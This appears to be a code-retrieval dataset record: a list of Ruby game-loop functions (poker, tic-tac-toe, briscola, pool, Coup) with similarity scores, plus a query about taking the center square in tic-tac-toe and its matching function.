"def player_action\n loop do\n @input = STDIN.gets.chomp\n # Checks to see if the user is in a safe position to view their hand.\n if @input.downcase == 'y' || @input.downcase == 'yes'\n\n # Outputs all of the necessary information for the user.\n player_info(@active_players[0], @pot_size)\n current_info(@active_players, @table_current_bet)\n\n # If community cards have been dealt yet, output them for the user in a nice format.\n if @stage_of_play.positive?\n print 'The current community cards are '\n card_output(@community_cards)\n puts ''\n end\n puts ''\n print 'You have the '\n # Outputs the user's hole cards in a nice format.\n card_output(@active_players[0].hole_cards)\n\n puts ''\n puts ''\n\n puts 'What you you like to do?'\n # If the player has already acted this turn and their bet is equal to the highest bet, it means that they were the initial raiser (or checker).\n # So we break out of the loop asking for input so we can move to the next stage of the hand.\n if @active_players[0].acted == true && @active_players[0].current_bet == @table_current_bet\n # && @active_players[0].current_bet.positive?\n break\n\n # If we get to here and the player's current bet is equal to the tables highest bet, it means they're the first to act this turn, or they are the big blind and no one has bet.\n # Although a user is allowed to fold here, we don't provide the option as it is 100% free to check here with no downside.\n elsif @active_players[0].current_bet == @table_current_bet\n puts 'You can ' + '(C)heck'.light_yellow + ' or ' + '(R)aise.'.light_green\n\n loop do\n @input = STDIN.gets.chomp\n\n # If the player chooses to check, we adjust chips (using check_action) and rotate the @active_players array to move onto the next player.\n if @input.downcase == 'c' || @input.downcase == 'check'\n check_action\n @active_players.rotate!\n break\n\n # If the player chooses to raise, we adjust chips (using raise_action)\n elsif @input.downcase == 'r' || @input.downcase == 'raise'\n raise_bet\n # If @input_string is true, it means that the player has entered a correct value so we rotate the array and break out of the loop.\n # Otherwise, the player has changed their mind regarding the raise and wants to see the options again, so we don't rotate/break out.\n unless @input_string\n @active_players.rotate!\n break\n end\n else\n puts 'Please enter a valid input.'.light_red\n end\n end\n\n # Break out of asking for user input - the user input has already been entered.\n # Don't worry, we'll be back soon doing the same thing for the next player (if needed!)\n break\n\n # If the player's current bet is below the highest bet, they can't check, so we offer all other options.\n elsif @active_players[0].current_bet < @table_current_bet\n puts 'You can ' + '(C)all, '.light_yellow + '(R)aise,'.light_green + ' or ' + '(F)old.'.light_red\n\n loop do\n @input = STDIN.gets.chomp\n # Behaviour here is the same as checking/raising above - we just call different methods to adjust chips as necessary.\n if @input.downcase == 'c' || @input.downcase == 'call'\n call_bet\n @active_players.rotate!\n break\n elsif @input.downcase == 'r' || @input.downcase == 'raise'\n raise_bet\n unless @input_string\n @active_players.rotate!\n break\n end\n elsif @input.downcase == 'f' || @input.downcase == 'fold'\n fold_hand\n @active_players.rotate!\n break\n else\n puts 'Please enter a valid input.'\n end\n end\n break\n end\n # This means the player has entered a response other than Yes when asked if they want to view their hand.\n # Exiting out of the game mid hand would have disastrous effects on chip calculations so we just wait until they say yes!\n else\n puts \"That's okay - no rush!\"\n end\n end\nend",
"def dealer_bust\n puts \"The dealer busted. You win\"\n player_win\n end",
"def game \n puts \"Voici l'état de chaque joueur :\"\n while @player1.life_points > 0 && @player2.life_points >0 do\n puts \"Passons à la phase d'attaque :\"\n puts @player1.attacks(@player2)\n puts @player2.show_state\n if @player2.life_points <= 0\n break\n end\n puts @player2.attacks(@player1)\n puts @player1.show_state\n sleep 1\n end\nend",
"def play\n # Game play asks for players input on a turn of the game\n # Game play checks if the game is over after every turn\n # Game play plays the first turn of the game\n # Game play plays the first few turns of the game\n # Game play checks if the game is won after every turn\n # Game play checks if the game is a draw after every turn\n while !over?\n turn\n end\n # Game play stops playing if someone has won\n # Game play congratulates the winner X\n # Game play congratulates the winner O\n if won?\n puts \"Congratulations #{winner}!\"\n # Game play stops playing in a draw\n # Game play prints \"Cat's Game!\" on a draw\n elsif draw?\n puts \"Cat's Game!\"\n end\n end",
"def run_game\n\n #creating the players\n\n player1 = Player.new(\"Player 1\")\n player2 = Player.new(\"Player 2\")\n @players << player1\n @players << player2\n\n @active_player = @players[1]\n\n while (@active_player.life > 0)\n run_round\n end\n\n game_over\n\n end",
"def play_as_master_second\r\n card_avv_s = @card_played[0].to_s\r\n card_avv_info = @deck_info.get_card_info(@card_played[0])\r\n max_points_take = 0\r\n max_card_take = @cards_on_hand[0]\r\n min_card_leave = @cards_on_hand[0]\r\n min_points_leave = @deck_info.get_card_info(min_card_leave)[:points] + card_avv_info[:points]\r\n take_it = []\r\n leave_it = []\r\n # build takeit leaveit arrays\r\n @cards_on_hand.each do |card_lbl|\r\n card_s = card_lbl.to_s\r\n bcurr_card_take = false\r\n card_curr_info = @deck_info.get_card_info(card_lbl)\r\n if card_s[2] == card_avv_s[2]\r\n # same suit\r\n if card_curr_info[:rank] > card_avv_info[:rank]\r\n # current card take\r\n bcurr_card_take = true\r\n take_it << card_lbl\r\n else\r\n leave_it << card_lbl\r\n end\r\n elsif card_s[2] == @briscola.to_s[2]\r\n # this card is a briscola \r\n bcurr_card_take = true\r\n take_it << card_lbl\r\n else\r\n leave_it << card_lbl\r\n end\r\n # check how many points make the card if it take\r\n points = card_curr_info[:points] + card_avv_info[:points]\r\n if bcurr_card_take\r\n if points > max_points_take\r\n max_card_take = card_lbl\r\n max_points_take = points\r\n end\r\n else\r\n # leave it as minimum\r\n if points < min_points_leave or (points == min_points_leave and\r\n card_curr_info[:rank] < @deck_info.get_card_info(min_card_leave)[:rank] )\r\n min_card_leave = card_lbl\r\n min_points_leave = points\r\n end\r\n end\r\n end\r\n #p min_points_leave\r\n #p min_card_leave\r\n curr_points_me = 0\r\n @team_mates.each{ |name_pl| curr_points_me += @points_segno[name_pl] }\r\n tot_points_if_take = curr_points_me + max_points_take\r\n curr_points_opp = 0\r\n @opp_names.each{ |name_pl| curr_points_opp += @points_segno[name_pl] }\r\n \r\n #p take_it\r\n #p leave_it\r\n #p max_points_take\r\n #p min_points_leave\r\n if take_it.size == 0\r\n #take_it is not possibile, use leave it\r\n @log.debug(\"play_as_master_second, apply R1 #{min_card_leave}\")\r\n return min_card_leave \r\n end\r\n max_card_take_s = max_card_take.to_s\r\n if tot_points_if_take >= @target_points\r\n # take it, we win\r\n @log.debug(\"play_as_master_second, apply R2 #{max_card_take}\")\r\n return max_card_take\r\n end\r\n if @pending_points > 0\r\n card_to_play = best_taken_card(take_it)[0]\r\n @log.debug(\"play_as_master_second, apply R2-decl #{card_to_play}\")\r\n return card_to_play \r\n end\r\n if max_card_take_s[2] == @briscola.to_s[2]\r\n # card that take is briscola, pay attention to play it\r\n if max_points_take >= 20\r\n @log.debug(\"play_as_master_second, apply R3 #{max_card_take}\")\r\n return max_card_take\r\n end\r\n elsif max_points_take >= 10\r\n # take it, strosa!\r\n @log.debug(\"play_as_master_second, apply R4 #{max_card_take}\")\r\n return max_card_take\r\n end\r\n best_leave_it = nil\r\n if leave_it.size > 0\r\n best_leave_it = best_leaveit_card(leave_it)\r\n end\r\n if best_leave_it == nil\r\n card_to_play = best_taken_card(take_it)[0]\r\n @log.debug(\"play_as_master_second, apply R9 #{card_to_play} - force taken\")\r\n return card_to_play\r\n end\r\n points_best_leave = @deck_info.get_card_info(best_leave_it)[:points]\r\n if card_avv_info[:points] == 0 and points_best_leave == 0\r\n @log.debug(\"play_as_master_second, apply R10 #{best_leave_it} \")\r\n return best_leave_it\r\n end\r\n if take_it.size > 0\r\n w_and_best = best_taken_card(take_it)\r\n # we can take it\r\n if curr_points_opp > 29 and max_points_take > 0 and take_it.size > 1\r\n # try to take it\r\n card_to_play = w_and_best[0]\r\n @log.debug(\"play_as_master_second, apply R5 #{card_to_play}\")\r\n return card_to_play\r\n end\r\n if curr_points_opp > 36 and (card_avv_info[:points] > 0 or points_best_leave > 0)\r\n # try to take it\r\n card_to_play = w_and_best[0]\r\n @log.debug(\"play_as_master_second, apply R11 #{card_to_play}\")\r\n return card_to_play\r\n end\r\n if points_best_leave > 2 or min_points_leave > 3 and w_and_best[1] < 320\r\n # I am loosing too many points?\r\n card_to_play = w_and_best[0]\r\n @log.debug(\"play_as_master_second, apply R6 #{card_to_play}\")\r\n return card_to_play\r\n end\r\n end \r\n # leave it\r\n if best_leave_it\r\n @log.debug(\"play_as_master_second, apply R7 #{best_leave_it}\")\r\n return best_leave_it\r\n end\r\n \r\n @log.debug(\"play_as_master_second, apply R8 #{min_card_leave}\")\r\n return min_card_leave \r\n #crash\r\n end",
"def play_match()\n\t\t#start a loop \n\t\tgame_end = false\n\t\twhile not game_end\n\t\t\tchar = get_player()\n\t\t\t#play a round\n\t\t\tself.play_round(char)\n\t\t\tself.player_turn += 1\n\t\t\t#check for win condition\n\t\t\tif self.board.line_complete?(char)\n\t\t\t\tif char == \"X\"\n\t\t\t\t\tputs \"Player 1 won!\"\n\t\t\t\t\tself.p1_rounds += 1\n\t\t\t\telse\n\t\t\t\t\tputs \"Player 2 won!\"\n\t\t\t\t\tself.p2_rounds += 1\n\t\t\t\tend\n\t\t\t\tputs self.to_s()\n\t\t\t\tgame_end = true\n\t\t\t\tbreak\n\t\t\tend\n\t\t\t# check for stalemate\n\t\t\tgame_end = true if board.stalemate?()\n\t\tend\t\n\tend",
"def play_hand\n\n p1 = self.player1\n p2 = self.player2\n p1.play\n p2.play\n winner = winner?(p1,p2)\n if winner\n handle_winner(p1,p2)\n else \n self.war\n end\n\n end",
"def play\r\n turn until over?\r\n \r\n if won?\r\n puts \"Congratulations #{winner}!\"\r\n \r\n else\r\n puts \"Cat's Game!\"\r\n end\r\nend",
"def play\n while !over?\n #binding.pry\n turn\n end\n\n if won?\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cats Game!\"\n end\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"Cats Game!\"\n end\nend",
"def take_all_bets\n\t\tno_raises = false\n\t\tplayer_seats = players.dup.select do |p| \n\t\t\tp.bankroll > 0 && !p.folded?\n\t\tend.shuffle\n\t\t\n\t\t# first in player_seats bets\n\t\tcurr_high_bet = get_opening_bet(player_seats)\n\t\t\n\t\t#A betting round ends when all active players have bet an equal amount or everyone folds to a player's bet or raise\n\t\tuntil no_raises\n\t\t\tno_raises = true\n\t\t\tplayer_seats = player_seats.rotate\n\t\t\n\t\t\tplayer_seats.each_with_index do |player, i| \n\t\t\t\tnext if player.folded?\n\t\t\t\tnext if player.raised? || player.betted?\n\t\t\t\tputs \"\\nPlayer #{i+1}, #{player.name}'s turn. Current high bet: #{curr_high_bet}. Current pot: #{@pot}.\"\n\t\t\t\tmove = player.get_move\n\t\t\t\t\n\t\t\t\tcase move\n\t\t\t\twhen :fold\n\t\t\t\t\tplayer.folded = true \n\t\t\t\twhen :see\n\t\t\t\t\tbegin\n\t\t\t\t\t\tplayer.take_bet(curr_high_bet)\n\t\t\t\t\trescue PokerError # move on to next player \n\t\t\t\t\t\tputs \"You cannot afford this bet.\".red\n\t\t\t\t\t\tplayer.folded = true\n\t\t\t\t\telse\n\t\t\t\t\t\tputs \"#{player.name}'s bankroll is now: #{player.bankroll}.\"\n\t\t\t\t\t\t@pot += curr_high_bet\n\t\t\t\t\t\tplayer.betted = true\n\t\t\t\t\tend\n\t\t\t\twhen :raise\n\t\t\t\t\tbegin\n\t\t\t\t\t\traise PokerError if curr_high_bet > player.bankroll\n\t\t\t\t\t\traise_bet = player.get_bet\n\t\t\t\t\t\traise BadInputError unless raise_bet > curr_high_bet\n\t\t\t\t\trescue BadInputError\n\t\t\t\t\t\tputs \"You must raise higher than the current bet.\".red\n\t\t\t\t\t\tretry \n\t\t\t\t\trescue PokerError\n\t\t\t\t\t\tputs \"You cannot afford this bet.\".red\n\t\t\t\t\t\tplayer.folded = true\n\t\t\t\t\telse # successful raise\n\t\t\t\t\t\tno_raises = false\n\t\t\t\t\t\tplayer.take_bet(raise_bet + curr_high_bet)\n\t\t\t\t\t\tputs \"#{player.name}'s bankroll is now: #{player.bankroll}.\"\n\t\t\t\t\t\tcurr_high_bet = raise_bet\n\t\t\t\t\t\t@pot += curr_high_bet\n\t\t\t\t\t\tplayer.raised = true\n\t\t\t\t\t\t# other players must now match raise\n\t\t\t\t\t\tplayer_seats.reject{|p| p == player}.each do |p|\n\t\t\t\t\t\t\tp.raised = false\n\t\t\t\t\t\t\tp.betted = false\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tbreak if round_over?\n\t\tend\n\tend",
"def start_game(user_hash)\n\t\tflag = 0\n\t\tputs \"Welcome, lets play Tic Tac Toe:\"\n\t\tputs \"This is put board...\"\n\t\tdisplay_board(user_hash)\n\t\t\tuntil (flag == 1)\n\t\t\t\tprint \"Player 1 : \"\n\t\t\t\tplayer_1_move = gets.chomp.to_i\n\t\t\t\tchange_board(user_hash,player_1_move,1)\n\t\t\t\tif did_anyone_win?(player_1_array(user_hash)) == true and draw_condition(user_hash) == false\n\t\t\t\t\tputs \"Player 1 win!\"\n\t\t\t\t\tflag = 1\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t\tif draw_condition(user_hash) \n\t\t\t\t\tputs \"DRAW!\"\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t\tprint \"Player 2 : \"\n\t\t\t\tplayer_2_move = gets.chomp.to_i\n\t\t\t\tchange_board(user_hash,player_2_move,2)\n\t\t\t\tif did_anyone_win?(player_2_array(user_hash)) == true and draw_condition(user_hash) == false\n\t\t\t\t\tputs \"Player 2 win!\"\n\t\t\t\t\tflag = 1\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t\tif draw_condition(user_hash) \n\t\t\t\t\tputs \"DRAW!\"\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tplay_more?\n\tend",
"def comp_play\n master_list = create_list\n puts \"Enter the code: \"\n @code = get_input\n puts \"Code: #{@code}\"\n\n guess_count = 1\n matches = 0\n\n rand1 = rand(6)\n rand2 = rand(6)\n until rand2 != rand1\n rand2 = rand(6)\n end\n input = [@@COLORS[rand1], @@COLORS[rand1], @@COLORS[rand2], @@COLORS[rand2]]\n\n until matches == 4 or guess_count > @@MAX_GUESSES\n puts \"Turn #{guess_count}\"\n puts \"Computer guesses #{input}\"\n\n results = check_guess(input, @code)\n matches = results[0]\n\n puts \"Black pins: #{results[0]} White pins: #{results[1]}\"\n guess_count += 1\n\n master_list = prune_list(master_list, input, results)\n\n input = master_list.sample\n end\n\n if matches == 4\n puts \"You lose\"\n else\n puts \"You win\"\n end\n end",
"def startGame(player1, player2)\n\n puts \" Do you want heads(h) or tails(t)?\"\n answer = gets\n answer = answer.chomp\n first = false\n\n # flips the coin\n @coin.flip\n\n # player1 calls what face they want\n if answer == 't'\n if @coin.display == 'Heads'\n first = false\n else\n first = true\n end\n elsif answer == 'h'\n if @coin.display == 'Heads'\n first = true\n else\n first = false\n end\n else\n puts \" fix later\"\n end\n\n # assigns colours baised on who goes first\n if first\n player1.givePieces(\"#FF0000\")\n player1.colour = \"#FF0000\"\n player2.givePieces(\"#0000FF\")\n player2.colour = \"#0000FF\"\n else\n player1.givePieces(\"#0000FF\")\n player1.colour = \"#0000FF\"\n player2.givePieces(\"#FF0000\")\n player2.colour = \"#FF0000\"\n \n end\n\n if first\n puts player1.name + \", You are going first\"\n @view.refreshBoard(@board, [])\n player1.turnStart()\n else\n puts player2.name + \", You are going first\"\n @view.refreshBoard(@board, [])\n player2.turnStart()\n end\n \n while !checkWin() do\n\n if player1.isActive\n # player 1 is active\n @player1.turnEnd()\n @view.refreshUnplayedPieces(@player1)\n @view.refreshUnplayedPieces(@player2)\n @view.refreshBoard(@board, [])\n @view.refreshTurnIndicator(@player2)\n\n player2.turnStart()\n player1.updatePlayedPieces()\n else\n # player 2 is active\n @player2.turnEnd()\n @view.refreshUnplayedPieces(@player1)\n @view.refreshUnplayedPieces(@player2)\n @view.refreshBoard(@board, [])\n @view.refreshTurnIndicator(@player1)\n\n player1.turnStart()\n player2.updatePlayedPieces()\n end\n end\n\n # ask if user's want to reset.\n puts \" Do you want to reset and play another game? Please enter Y or N.\"\n answer = gets\n answer = answer.chomp\n\n # handle input\n if answer == 'Y' || answer == 'y'\n reset()\n elsif answer == 'N' || answer == 'n'\n puts \"Goodbye I hope you had fun playing the game!\"\n else\n puts \" Invalid input detected. The game will be reset\"\n reset() \n end \n end",
"def choose_winner; end",
"def pocketed? args, ball\n ball_center_x = ball[:x] + args.state.ball_diameter / 2\n ball_center_y = ball[:y] + args.state.ball_diameter / 2\n pocket_radius = args.state.pocket_diameter / 2\n args.state.pockets.each do |pocket|\n # add pocket radius to get to the cetner of the pocket\n dist = (((ball_center_x - (pocket[0] + pocket_radius)) ** 2) + ((ball_center_y - (pocket[1] + pocket_radius)) ** 2)) ** (1/2)\n if dist < pocket_radius\n case ball[:type]\n\n # if eight ball pocketed, win if the player pocketed all other balls\n when 8\n args.state.player1_type ||= 0\n # get the player's type\n if args.state.player == 0\n player_type = args.state.player1_type\n else\n player_type = 1 - args.state.player1_type\n end\n # if all of the player's group have been pocketed, win. Otherwise lose and reset.\n if player_type == 0 && args.state.pocketed_solids == 7\n args.state.won = true\n elsif player_type == 1 && args.state.pocketed_stripes == 7\n args.state.won = true\n else\n reset args\n end\n\n # if cueball pocketed, scratch and set it invisible \n when \"cueball\"\n if args.state.movement_mode != \"scratch\"\n args.state.movement_mode = \"scratch\"\n cueball = args.state.cueball\n cueball[:velX] = 0\n cueball[:velY] = 0\n cueball[:path] = \"sprites/invisible.png\"\n end\n \n # otherwise, it's a stripe or solid, so put it in the list of balls pocketed this turn.\n # if it was the called ball and pocket, this was a successful call\n else\n args.state.sunk = true\n args.state.pocketed_this_turn << ball\n args.state.balls.delete(ball)\n if args.state.called_shot\n called_pocket = args.state.called_pocket[0] == pocket[0] && args.state.called_pocket[1] == pocket[1]\n called_ball = args.state.called_ball[0] == ball[:ball_number]\n if called_ball && called_pocket\n args.state.successful_call = true\n args.state.called_pocket[4] = \"sprites/pocket.png\"\n ball[:path] = \"sprites/ball#{args.state.called_ball[0]}.png\"\n end\n end\n end\n end\n end\nend",
"def play\n until over?\n turn\n end\n\n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"Cat's Game!\"\n end\n end",
"def play()\n until over?() == true\n turn()\n end\n if draw?() != true\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cat's Game!\"\n end\n end",
"def play\n display_welcome_message\n loop do\n number_of_games = 0\n loop do\n computer.choose(@human)\n human.choose\n display_moves\n increment_game_count\n puts\n display_winner\n display_score\n update_win_history\n number_of_games += 1\n puts\n break if first_to_score?(10)\n end\n display_final_outcome\n reset_game\n break unless play_again?\n end\n display_goodbye_message\n end",
"def win_block_1_2(player)\n\n\t\tif player == 1\n\t\t\tproduct = 1\n\t\telse\n\t\t\tproduct = 4\n\t\tend\n\n\t\tif self.board[0] == \"0\" && (self.board[1].to_i * self.board[2].to_i == product || self.board[3].to_i * self.board[6].to_i == product || self.board[4].to_i * self.board[8].to_i == product )\n\t\t\treturn 0\n\t\telsif self.board[1] == \"0\" && (self.board[4].to_i * self.board[7].to_i == product || self.board[0].to_i * self.board[2].to_i == product)\n\t\t\treturn 1\n\t\telsif self.board[2] == \"0\" && (self.board[1].to_i * self.board[0].to_i == product || self.board[5].to_i * self.board[8].to_i == product || self.board[4].to_i * self.board[6].to_i == product)\n\t\t\treturn 2\n\t\telsif self.board[3] == \"0\" && (self.board[4].to_i * self.board[5].to_i == product || self.board[0].to_i * self.board[6].to_i == product)\n\t\t\treturn 3\n\t\telsif self.board[4] == \"0\" && (self.board[0].to_i * self.board[8].to_i == product || self.board[2].to_i * self.board[6].to_i == product || self.board[1].to_i * self.board[7].to_i == product || self.board[3].to_i * self.board[5].to_i == product)\n\t\t\treturn 4\n\t\telsif self.board[5] == \"0\" && (self.board[4].to_i * self.board[3].to_i == product || self.board[2].to_i * self.board[8].to_i == product)\n\t\t\treturn 5\n\t\telsif self.board[6] == \"0\" && (self.board[3].to_i * self.board[0].to_i == product || self.board[4].to_i * self.board[2].to_i == product || self.board[7].to_i * self.board[8].to_i == product)\n\t\t\treturn 6\n\t\telsif self.board[7] == \"0\" && (self.board[4].to_i * self.board[1].to_i == product || self.board[6].to_i * self.board[8].to_i == product)\n\t\t\treturn 7\n\t\telsif self.board[8] == \"0\" && (self.board[4].to_i * self.board[0].to_i == product || self.board[5].to_i * self.board[2].to_i == product || self.board[7].to_i * self.board[6].to_i == product)\n\t\t\treturn 8\n\t\telse\n\t\t\treturn -1\n\t\tend\n\tend",
"def play\n #self.set_players # Only uncomment one of these two lines.\n self.set_computer_players # Uncomment this line to have two computer players\n until @board.winner?\n self.turn\n self.change_current_player\n end\n winner = (@current_player == @player1) ? @player2 : @player1\n puts \" #{winner.color.to_s.upcase} is the winner!!!!\"\n puts \"Thanks for playing.\"\n end",
"def gameflow\n \n end",
"def turn()\n puts \"Coins: #{@current_player.get_coin_count}\"\n @current_player.show_active_cards\n puts Action.show_all_actions.join \"\\n\"\n\n # If a player ahs more than 10 coins he must stage a coup\n if (@current_player.get_coin_count > 10)\n action_id = \"2\"\n else\n puts \"#{@current_player} what is your action\"\n action_id = gets.strip\n end\n\n current_action = Action.new(action_id)\n if current_action.requires_target\n target_player = nil\n while target_player == nil || target_player == @current_player\n puts \"Select a target\"\n target_id = gets.strip\n target_player = get_player_by_id(target_id)\n end\n current_action.set_target(target_player)\n end\n\n turn_over = false\n action_failed = false\n\n @@turn += 1\n\n puts \"#{@current_player} moves: #{current_action}\"\n\n if (current_action.can_be_challenged?)\n puts \"Enter Y to challenge\"\n challenge = gets.strip\n if challenge == 'Y'\n puts \"Challenger enter your id\"\n player_challenging_id = gets.strip\n\n if (challenge && player_challenging_id)\n if @current_player.has_claimed_action_character?(current_action)\n @player_challenging = get_player_by_id(player_challenging_id)\n @player_challenging.loses_influence\n @current_player.swap_influence(current_action, @deck)\n else\n @current_player.loses_influence\n action_failed = true\n end\n end\n end\n turn_over = true\n end\n\n if (!turn_over && current_action.can_be_countered?)\n puts \"Enter Y to counteract\"\n counteraction = gets.strip\n\n if counteraction == 'Y'\n puts \"Counteractor enter your id\"\n counteracting_player_id = gets.strip\n if counteracting_player_id\n @counteracting_player = get_player_by_id(counteracting_player_id)\n puts \"Current player enter Y to challenge this counteraction\"\n challenge_counteraction = gets.strip\n if challenge_counteraction\n if @counteracting_player.has_claimed_counteraction_character?(current_action)\n @current_player.loses_influence\n @counteracting_player.swap_influence(current_action, @deck)\n else\n @counteracting_player.loses_influence\n end\n turn_over = true\n else\n turn_over = true\n action_failed = true\n end\n end\n end\n end\n\n if !action_failed\n current_action.succeed(@current_player, current_action, @deck)\n end\n\n next_player()\n\n if is_game_over()\n puts \"game over\"\n puts \"#{get_winner} wins\"\n else\n turn()\n end\n\n end",
"def play(board)\n until over?(board)\n turn(board)\n end\n if winner(board)\n winning_player = winner(board)\n puts \"Congratulations #{winning_player}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def start\n while @player1.lives > 0 && @player2.lives > 0\n ask_question_and_update_lives(@players[@turn])\n puts \"P1: #{@player1.display_lives} vs P2: #{@player2.display_lives}\"\n puts \"----- NEW TURN -----\"\n change_turn\n end\n # the change_turn above automatically set the next player as winner\n puts \"#{@turn} wins with a score of #{@players[@turn].display_lives}\"\n puts \"----- GAME OVER -----\"\n puts \"Good bye!\"\n end",
"def war\n \n until winner?(self.player1,self.player2)\n 4.times do \n player1.play\n player2.play\n end\n end\n\n handle_winner(self.player1,self.player2)\n\n end",
"def win?\n while true\n @board.render(false)\n @player.get_input\n move_valid?\n if @board.board == @board.winningboard\n render(true)\n puts \"Congratulations!\"\n exit\n end\n end\n end",
"def play(board)\n until over?(board)\n turn(board)\n end\n if draw?(board)\n puts \"Cats Game!\"\n else\n puts \"Congratulations #{winner(board)}!\"\nend\n\n\nend",
"def find_fork(wins, forker, forkee)\n position_counts = count_positions(wins, forker, forkee)\n forking_moves = []\n position_counts.each do |position, count|\n forking_moves.push(position) if count > 1\n end\n forking_moves = (forking_moves - (forking_moves & forker))\n forking_moves.empty? ? [] : forking_moves\n end",
"def orchestre1\n player1 = Player.new(\"Josiane\")\n player2 = Player.new(\"José\")\n while player1.life_points > 0 && player2.life_points > 0\n puts \"\" \n puts \"Voici l'état de chaque joueur :\"\n puts \"#{player1.show_state} #{player2.show_state}\"\n puts \"\"\n puts \"Fight ! Passons à la phase d'attaque\"\n player1.attacks(player2)\n if player2.life_points <= 0\n break\n else\n player2.attacks(player1)\n end\n end\n if player2.life_points<= 0\n player2.show_state\n else \n player1.show_state\n end\n puts \"Fin du fight\"\nend",
"def play\n # checks if the game is over after every turn\n until over?\n # plays the first few turns of the game\n turn\n end\n\n # checks if the game is won after every turn\n if won?\n puts \"Congratulations #{winner}!\"\n # checks if the game is draw after every turn\n elsif draw?\n puts \"Cats Game!\" # prints \"Cats Game!\" on a draw\n end\n\n end",
"def play\n while !over?\n turn\n end\n won? ? (puts \"Congratulations #{@winner}!\") : (puts \"Cat's Game!\")\n\n end",
"def play\n\n until over?\n turn\n end\n\n if self.won?\n puts \"Congratulations #{self.winner}!\"\n elsif self.draw?\n puts \"Cat's Game!\"\n end\n\n end",
"def process_picks()\n\tsession[\"round_winner\"] = round_win(session[\"p1_pick\"], session[\"p2_pick\"])\n tally_score(session[\"round_winner\"])\n session[\"game_winner\"] = the_winner(session[\"p1_total_score\"], session[\"p2_total_score\"])\nend",
"def play\n while !over?\n \t turn\n end\n if won?\n \t puts \"Congratulations \"+ winner() +\"!\"\n else\n \t puts \"Cat's Game!\"\n end\n end",
"def play\n state = 0\n\n\n while true\n if state == 0\n puts \"C'est à #{@player0.name} de jouer (jeton #{@player0.token})\"\n puts \"Quelle case veux tu cocher #{@player0.name} ?\"\n print \"> \"\n n = gets.chomp.upcase\n\n until not_played?(n) && case_authorization?(n)\n print \"> \"\n n = gets.chomp.upcase\n end\n @played_cases << n\n @view.play(\"player0\",n)\n\n if @view.iswin?(@player0.token)\n puts \"#{@player0.name} a gagné.\"\n puts \"FÉLICITATIONS #{@player0.name}! \"\n puts \" \"\n @player0.score += 1\n break\n elsif isfull?\n puts \"Match nul ! \"\n puts \" \"\n break\n else\n state = 1 - state\n end\n else\n puts \"C'est à #{@player1.name} de jouer (jeton #{@player1.token})\"\n puts \"Quelle case veux tu cocher #{@player1.name} ?\"\n print \"> \"\n n = gets.chomp.upcase\n\n until not_played?(n) && case_authorization?(n)\n print \"> \"\n n = gets.chomp.upcase\n end\n\n @played_cases << n\n @view.play(\"player1\",n)\n\n if @view.iswin?(@player1.token)\n puts \"#{@player1.name} a gagné.\"\n puts \"FÉLICITATIONS #{@player1.name}! \"\n puts \" \"\n @player1.score += 1\n break\n elsif isfull?\n puts \"Match nul ! \"\n puts \" \"\n break\n else\n state = 1 - state\n end\n end\n end\n end",
"def new_match(x, p1, p2)\n x.times do\n new_game(p1, p2)\n end\n winner_of_match\n end",
"def play(board)\n until over?(board)\n turn(board)\n end\nif won?(board)\n puts \"Congratulations #{winner(board)}!\"\nelsif draw?(board)\n puts 'Cats Game!'\nend\nend"
] |
[
"0.74359304",
"0.71108514",
"0.7052763",
"0.6503178",
"0.6458734",
"0.64020795",
"0.63444376",
"0.63335246",
"0.6279534",
"0.62686825",
"0.6210135",
"0.6180599",
"0.6060795",
"0.60578907",
"0.6026725",
"0.59933126",
"0.59559053",
"0.5941965",
"0.5941581",
"0.59263384",
"0.5923065",
"0.5918081",
"0.5909169",
"0.590817",
"0.58942604",
"0.58940357",
"0.58904594",
"0.5885767",
"0.5873288",
"0.5868196",
"0.58634174",
"0.58528227",
"0.58528227",
"0.5821658",
"0.58139014",
"0.5799452",
"0.5798412",
"0.5794618",
"0.5793411",
"0.57927614",
"0.57902116",
"0.57883203",
"0.57853",
"0.5777778",
"0.5774385",
"0.5768635",
"0.5762299",
"0.5760762",
"0.57556015",
"0.5752052",
"0.574802",
"0.5743771",
"0.5743765",
"0.574335",
"0.57410884",
"0.5723399",
"0.57184964",
"0.5715605",
"0.57101536",
"0.5708199",
"0.5706773",
"0.57050824",
"0.5693055",
"0.56898695",
"0.5678494",
"0.5676811",
"0.5675685",
"0.5672543",
"0.5671561",
"0.567085",
"0.56697506",
"0.56638",
"0.5661415",
"0.56548244",
"0.56525135",
"0.5647323",
"0.564708",
"0.56445044",
"0.56352085",
"0.5634389",
"0.56323737",
"0.5628545",
"0.5627413",
"0.5626132",
"0.5625435",
"0.562309",
"0.5620751",
"0.5617293",
"0.5617223",
"0.56169754",
"0.56132257",
"0.56100917",
"0.56096184",
"0.5604168",
"0.5602024",
"0.5595805",
"0.55955946",
"0.55947304",
"0.559469",
"0.559413"
] |
0.74767643
|
0
|
5. center : if the center piece is empty, play it unless it's the first move if it's the first move (all marks are empty) play a corner
|
def center(board)
if board[4] == " "
return 4
else
return false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def corner_play\n return unless UNBEATABLE\n board_values = board.squares.map { |k, v| [k, v.marker] }.to_h\n if board_values.values_at(1, 9).all?(@human.mark) ||\n board_values.values_at(3, 7).all?(@human.mark)\n board_values.slice(2, 4, 6, 8).key(INITIAL_MARKER)\n else\n board_values.slice(1, 3, 7, 9).key(INITIAL_MARKER)\n end\n end",
"def start_center\n if @place_loc.size > 0\n x, y = @place_loc.first\n @spriteset.cursor.center(x, y) \n elsif @actor_loc.keys.size > 0\n coord = @actor_loc.values.first\n @spriteset.cursor.center(coord.x, coord.y) \n elsif @neu_loc.keys.size > 0\n coord = @neu_loc.values.first\n @spriteset.cursor.center(coord.x, coord.y)\n end\n @spriteset.update\n end",
